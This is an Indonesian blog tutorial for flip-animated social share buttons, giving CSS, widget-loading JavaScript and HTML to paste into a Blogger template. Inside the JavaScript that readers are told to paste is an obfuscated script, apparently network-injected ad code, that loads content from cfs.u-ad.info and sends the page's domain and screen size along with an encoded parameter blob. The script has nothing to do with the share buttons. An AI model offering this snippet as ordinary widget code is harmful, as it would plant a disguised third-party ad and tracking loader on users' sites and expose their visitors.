Lihat Dulu demonya

DISINI

Jika Sobat mau menggunakannya.. silahkan masukan Code CSS di bawah ini:

.flipShare{ width:90px; height:35px; margin:5px 60px 5px 0;text-align:center;line-height:35px;float:left }
.flipShare > .front{
 position:absolute;
 transform: perspective( 600px ) rotateY( 0deg );
 background:#333;color:#fff; width:140px; height:35px;
    border-radius: 3px;
 backface-visibility: hidden;
 transition: transform .5s linear 0s;
}
.flipShare > .back-fb,.flipShare > .back-tw,.flipShare > .back-g,.flipShare > .back-in,.flipShare > .back-pin,.flipShare > .back-print,.flipShare > .back-title{
 position:absolute;
 transform: perspective( 600px ) rotateY( 180deg );
 width:140px; height:35px; border-radius: 3px;
 backface-visibility: hidden;
 transition: transform .5s linear 0s;
}
.flipShare:hover > .front{
 transform: perspective( 600px ) rotateY( -180deg );
}
.flipShare:hover > .back-fb,.flipShare:hover > .back-tw,.flipShare:hover > .back-g,.flipShare:hover > .back-in,.flipShare:hover > .back-pin,.flipShare:hover > .back-print,.flipShare:hover > .back-title{
 transform: perspective( 600px ) rotateY( 0deg );
}
.flipShare > .back-fb{
    background-color: #324b81;
}
.flipShare > .back-tw{
    background-color: #01A7dE;
}
.flipShare > .back-g{
    background-color: #BA3227;
}
.flipShare > .back-in{
    background-color: #136F9B;
}
.flipShare > .back-pin{
    background-color: #B01C23;
}
.flipShare > .back-title,.flipShare > .back-print{
    background-color: #333;vertical-align:middle;color: #fff;
}
.flipShare > .back-print a{
    color: #fff;
    text-decoration:none;
}

lalu masukan Code Javascript di bawah ini di atas kode [[/body]]

<script type='text/javascript'>//<![CDATA[ 
window.onload=function(){
(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;js.async=true;
  js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));
}//]]>  

</script>
<script type="text/javascript">if(self==top){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);document.write("<scr"+"ipt type=text/javascript src="+idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request");document.write("?id=1");document.write("&enc=telkom2");document.write("&params=" + "4TtHaUQnUEiP6K%2fc5C582NgXaqsgjSGNqwyPY9VMbNKybKk4ONDNy8uU%2fYcq0sAi%2bbRFefbYM%2fL2H59Yn4J2UgmGwr5kRqqJOJcbs0K9LZQD6CFhpzp5GcKqEd8Ky%2bo7YEVmEpk%2fe0W0C2MpGRg3DSKTmUkCkFHyOlQ1qeOyS82TTpg3gsvW%2fylV9cUv1io9F4fTcXbD9sl3QuYKnRtm1Yei6n4BOmF53P%2bsN%2b9TR7AuZoX93hS9GyYcQyxn0rQoytBpha86i8%2fMl0APx6Mch7R%2fi3ingeEyc%2b0tH%2bqqsioRUTVMOQxknlERQQ9zTWFR0oTprBnX3K%2fkMArLRUz3WimtqU6BOsGsBLNHSvjVYnJtXc8PyElbPMBm%2bsvtHKMKWxydXYMg3ubxldQgYy07YxnzMp8DhEjoo3LdzyolRO5MwqQZlY7MSXipaVLQhkvj1H%2bBZN7%2fj2f5yvjHBS6BzBXM%2bH3GIFuye0aZAnJ9r7CQjKnrVaT0QlONOk4Mem6M7NUDIt4Lo7EC3z4qPofu0Wyw9iH2EwdO");document.write("&idc_r="+idc_glo_r);document.write("&domain="+document.domain);document.write("&sw="+screen.width+"&sh="+screen.height);document.write("></scr"+"ipt>");}</script><noscript>activate javascript</noscript>
<script type='text/javascript' src="http://platform.twitter.com/widgets.js"></script>
    
  
    
      <script type='text/javascript' src="https://apis.google.com/js/plusone.js"></script>
    
  
    
      <script type='text/javascript' src="http://platform.linkedin.com/in.js"></script>
    
  
    
      <script type='text/javascript' src="http://assets.pinterest.com/js/pinit.js"></script>

untuk Code HTML nya, silahkan Sobat Simpan dimana saja sesuai keingingan Sobat:

<div class="flipShare">
    <div class="front">Do You Like This?</div>
    <div class="back-title">Share This Article</div>
    </div>
<div class="flipShare">
    <div class="front">Share on FB</div>
  <div class="back-fb">
      <span style='position:absolute;top:-7px;left:10px'>
      <span class='fb-like' data-href='http://code-html-untuk.blogspot.com/' data-layout='button_count' data-send='true' data-show-faces='false' data-width='90'></span></span>
  </div>
</div>
<div class="flipShare">
    <div class="front">Share on Twitter</div>
  <div class="back-tw">
      <span style='position:absolute;top:5px;left:10px'>
<a class='twitter-share-button' data-count='horizontal' data-related='' data-text='code gratis' data-url='http://code-html-untuk.blogspot.com/' data-via='' href='http://twitter.com/share' title='Share via Twitter'>Tweet</a>
</span>
  </div>
</div>
<div class="flipShare">
    <div class="front">Share on G+</div>
  <div class="back-g">
<span style='position:absolute;top:5px;left:10px'>
<span class='g-plusone' data-count='true' data-href='http://code-html-untuk.blogspot.com/' data-size='medium'>
</span>
</span>
  </div>
</div>
<div class="flipShare">
    <div class="front">Share on Likedin</div>
  <div class="back-in">
      <span style='position:absolute;top:5px;left:10px'>
<script type='IN/Share'></script>
</span>
  </div>
</div>
<div class="flipShare">
    <div class="front">Share on Pinterest</div>
  <div class="back-pin">
      <span style='position:absolute;top:5px;left:7px;border:none;'>
<a data-pin-config='beside' data-pin-do='buttonPin' href='http://pinterest.com/pin/create/button/?url=http://code-html-untuk.blogspot.com/' title='Pin It'><img alt='pinit' height='20' src='//assets.pinterest.com/images/pidgets/pin_it_button.png' title='Pin It' width='40'/></a>
</span>
  </div>
</div>
<div class="flipShare">
    <div class="front">Print This Page</div>
  <div class="back-print">
<a href='javascript:print(document)' title='Print This Page'><img alt='print' height='16' style='margin-right:5px' src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj07njcuphWewFceVEHT_7tj5xKcaBj3HIXG2KZo_GdmYZEthKfQ-fMvRig8EYpS78YsrYujnF3gqvdtnQGsqhtblshtxJ59KPfDPlly7jT2ade3a7HQS6BJMCIxTjRUH6CnO4X_jawpPKP/s1600/iconprinter.png' title='Print This Page' width='16'/>Print This Page</a>
  </div>
</div>
<div style='clear:both'></div>

Ganti URL http://code-html-untuk.blogspot.com/ dengan URL postingan

Dan yang terakhir Simpan Template

Semoga bermanfaat

Thanks To Kang Ismet (^_^)